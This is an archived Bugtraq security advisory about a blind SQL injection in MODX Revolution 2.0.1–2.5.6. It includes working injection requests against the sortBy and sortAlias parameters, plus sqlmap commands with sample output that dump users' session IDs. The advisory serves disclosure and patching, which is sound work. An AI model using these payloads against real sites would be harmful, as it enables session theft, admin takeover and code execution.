MODX Revolution 2.0.1-pl - 2.5.6-pl blind SQLi

--Hdl8RG0xpuQf5DlOCRMFRmHs5c7FaJ1xW
Content-Type: multipart/mixed; boundary="ejOGdQswK957B1tEE1Rkh593iRmt7vNcv";
 protected-headers="v1"
From: =?UTF-8?Q?Anti_R=c3=a4is?= <antirais@gmail.com>
To: bugtraq@securityfocus.com
Message-ID: <0e8397f0-9e6e-8676-e8a3-f73bddf7db24@gmail.com>
Subject: MODX Revolution 2.0.1-pl - 2.5.6-pl blind SQLi

--ejOGdQswK957B1tEE1Rkh593iRmt7vNcv
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

MODX Revolution 2.0.1-pl - 2.5.6-pl blind SQLi
##############################################

Information
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

Name:          MODX Revolution 2.0.1 - 2.5.6 (based on git commit)
Software:      MODX CMS
Homepage:      https://modx.com
Vulnerability: blind SQL injection
Prerequisites: attacker needs to be authenticated and with correct
               permissions
Severity:      high
CVE:           NA
Credit:        Anti R=C3=A4is
HTML version:  https://bitflipper.eu

Description
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

A SQL injection vulnerability was discovered in the xPDO library used by
MODX Revolution 2.5.6. The "resource/getNodes" and "system/contenttype/
getlist" actions are vulnerable and allow an authenticated attacker to re=
ad
data from database.

Proof of Concept
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

1) Action: "resource/getNodes"
------------------------------

Following request demonstrates the vulnerability. We can use different
criteria for "limit" and the generated response is limited accordingly,
proving that the vulnerability exists.

URL: http://victim.site/connectors/index.php?action=3Dresource/getNodes&i=
d=3Dweb

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D[ src start ]=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
POST /connectors/index.php?action=3Dresource/getNodes&id=3Dweb HTTP/1.1
Host: victim.site
modAuth: modx58dd6b78abecd0.81702322_158e1eb90b8b9e0.82418629
Content-Type: application/x-www-form-urlencoded; charset=3DUTF-8
Content-Length: 90
Cookie: PHPSESSID=3Dcj4hefna5no0hj0a0na84ir4t4
Connection: close

sortBy=3Dmenuindex` limit 1 #
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D[ src end ]=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D


The HTTP request above executes the `getResourceQuery()` method in
`modResourceGetNodesProcessor` class.

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D[ src start ]=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
<?php

public function getResourceQuery() {
    // ... source redacted

    $this->itemClass=3D modResource;
    $c=3D $this->modx->newQuery($this->itemClass);

    // ... source redacted

    $c->groupby($this->modx->getSelectColumns(modResource, modResource=
,
    , $resourceColumns), );
    $sortBy =3D $this->modx->escape($this->getProperty(sortBy));
    $c->sortby(modResource. . $sortBy,$this->getProperty(sortDir));
    return $c;
}
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D[ src end ]=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

The `sortBy` parameter is passed to the `escape()` method, which resides =
in
`xPDO` class.

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D[ src start ]=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
<?php

public function escape($string) {
    $string =3D trim($string, $this->_escapeCharOpen .
    $this->_escapeCharClose);
    return $this->_escapeCharOpen . $string . $this->_escapeCharClose;
}
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D[ src end ]=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

The parameter `$string` is used as an argument to `trim()` function, whic=
h
removes `_escapeCharOpen` and `_escapeCharClose` characters from the
beginning and end of the string. In this case, the escape characters are
both backticks (U+0060). The resulting string is then padded with escape
characters which effectively removes multiple occurrences of escape
characters from the beginning and end of the string, but does not escape =
the
escape characters itself.

The result is then concatenated to create the SQL query in
`getResourceQuery()` method. Following SQL is sent to the database engine=
:

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D[ src start ]=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
SELECT `modResource`.`id`, /* redacted for brevity */, COUNT(Child.id) AS=

childrenCount
FROM `modx_site_content` AS `modResource`
LEFT JOIN `modx_site_content` `Child` ON modResource.id =3D Child.parent
WHERE (  ( `modResource`.`context_key` =3D ? AND `modResource`.`show_in_t=
ree`
=3D ? ) AND `modResource`.`parent` =3D ? )
GROUP BY `modResource`.`id`, /* redacted for brevity */,
`modResource`.`context_key`
ORDER BY modResource.`menuindex` limit 1 #` ASC
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D[ src end ]=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

2) Action: "system/contenttype/getlist"
---------------------------------------

Similarly to previous vulnerability, the following issue ends up using th=
e
same vulnerable `escape()` method and allows to use blind SQL injection t=
o
query the database. Following parameter `sortAlias` can be used to inject=

SQL.

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D[ src start ]=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
POST /connectors/index.php HTTP/1.1
Host: victim.site
modAuth: modx58dd6b78abecd0.81702322_158e1f669c75121.62443671
Content-Type: application/x-www-form-urlencoded; charset=3DUTF-8
Referer: http://victim.site/manager/?a=3Dresource/create
Content-Length: 81
Cookie: PHPSESSID=3Dmq0kub9tiu3dv7l00ec472n9v6
Connection: close

id=3D1&action=3Dsystem%2Fcontenttype%2Fgetlist&sortAlias=3DmodContentType=
_id`
limit 1 #
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D[ src end ]=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

Example attack scenario
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

A sqlmap.py can be used with following parameters:

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D[ src start ]=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
$ ./sqlmap.py --version
1.1.3.19#dev
$ ./sqlmap.py -r request.txt -p sortBy --level 5 --risk 3 --technique=3DB=
 -b
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D[ src end ]=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

The request file `request.txt` is the following (update modAuth header an=
d
PHPSESSID cookie for valid ones):

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D[ src start ]=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
POST /connectors/index.php?action=3Dresource/getNodes&id=3Dweb HTTP/1.1
Host: victim.site
Content-Length: 168
modAuth: modx58dd6b78abecd0.81702322_158e295393a1643.87130735
Content-Type: application/x-www-form-urlencoded; charset=3DUTF-8
Cookie: PHPSESSID=3Dbhhu2cv7f1fbrr5dhig4afkrt5
Connection: close

sortBy=3Dmenuindex`
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D[ src end ]=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

To dump session data, use:

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D[ src start ]=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
$ ./sqlmap.py -r request.txt -p sortBy --level 5 --risk 3 --technique=3DB=
 -D 
modx -T modx_session -C id --dump

Database: modx
Table: modx_session
[5 entries]
+----------------------------+
| id                         |
+----------------------------+
| 2gpsqqdl030acmmj393vp79lu6 |
| 9uufrqkomi38nhpgpiq20m4rm4 |
| anbnkhvrsgh42447tgpelc32v0 |
| bhhu2cv7f1fbrr5dhig4afkrt5 |
| mq0kub9tiu3dv7l00ec472n9v6 |
+----------------------------+
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D[ src end ]=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

Impact
=3D=3D=3D=3D=3D=3D

The `modx_sessions` table holds active sessions and attacker can use blin=
d
SQL injection to query users sessions in the database. This could possib=
ly
lead to admin account takeover or at least enable to access other account=
s.
In case the attacker manages to get active session for admin account, the=
n
he can execute PHP code (plugin install, file upload etc) and take contro=
l
over the application. Alternatively the attacker can access other users
account and possibly use their access rights to compromise the site furth=
er.

Conclusion
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

Authenticated attacker can use blind SQL injection to get access to
administrator account, which allows to execute PHP code, leading to full
site compromise.

Following release has been published mitigating this issue:
https://modx.com/blog/modx-revolution-2.5.7

Timeline
=3D=3D=3D=3D=3D=3D=3D=3D

* 01.04.2017 | me > developer     | vulnerability discovered
* 03.04.2017 | me > developer     | sent the report to the developers
* 03.04.2017 | developer > me     | asked for PoC of reading users sessi=
on
                                    from database
* 05.04.2017 | developer > me     | vulnerability patched
* 21.04.2017 | developer > public | new version released
* 01.05.2017 | me > public        | full disclosure

---
Anti R=C3=A4is
Blog: https://bitflipper.eu
Pentester at http://www.clarifiedsecurity.com


--ejOGdQswK957B1tEE1Rkh593iRmt7vNcv--

--Hdl8RG0xpuQf5DlOCRMFRmHs5c7FaJ1xW
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="signature.asc"

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2

iQIcBAEBCAAGBQJZCKJIAAoJEJi8ghYKH/QMG2MQAKRlCoDxtJ+VIyZD5Of08kGJ
wBRFqJgZevgZ4gcZtAp/Whdd+9f6TbRWhrwx/DILMCMtCCvabJ7kYhMTga/1mqZt
zyU6meVqbHTVxUp2245vZ/vNYqGpHXi7DO/LulBCDmy1EtBXQ+9PjLAFSaYVPUq2
bNYGim3aLdRhY5wHnQU/u9KLMYheORCjKtga34retni1VZsS8eVqMyvUHlF0wbIt
Jmxn/+mEe3n3anxE9eyySqEPxe+dl7kQhhv5jQTmlMv06RYLnhZv9wOxNSd/UK+F
GxX4x84RIa4zPu+Iieyp8kFlLsIEWA/B6idSlcvltaO8dH1572isemZZReVrc7fg
6Nr8orzCHTDq8yz0dS/ESUBI2ZUcQh67WlZbLcQIIYwMT1QV73cGVuoaewDKqkCB
XVkS71/pUjKzjayReCWDS4+rwAzZrUyTykW82ULELVcWMW1+WiLKzujj5gYJYchV
ZeBeGXB4Z7V3jbMoWtuWC1KmbgT/Z+AyWQ0FfKxISrpRHmSyrlfHcSHuim8C98/V
VGX2Kh40W0wYuOeO6S8DNzGGHryb8iTCT/qppWCOChrQI3uFJIxYeh7cPz6SUyTo
PwzHKJIxUcsUC/HECqSrG9WJmbjGkRj8UXED+71e75heYW/TNP6pNBOxFZIHvZwP
WM3VlpZ4JLHiSuHqR5TS
=xAQG
-----END PGP SIGNATURE-----

--Hdl8RG0xpuQf5DlOCRMFRmHs5c7FaJ1xW--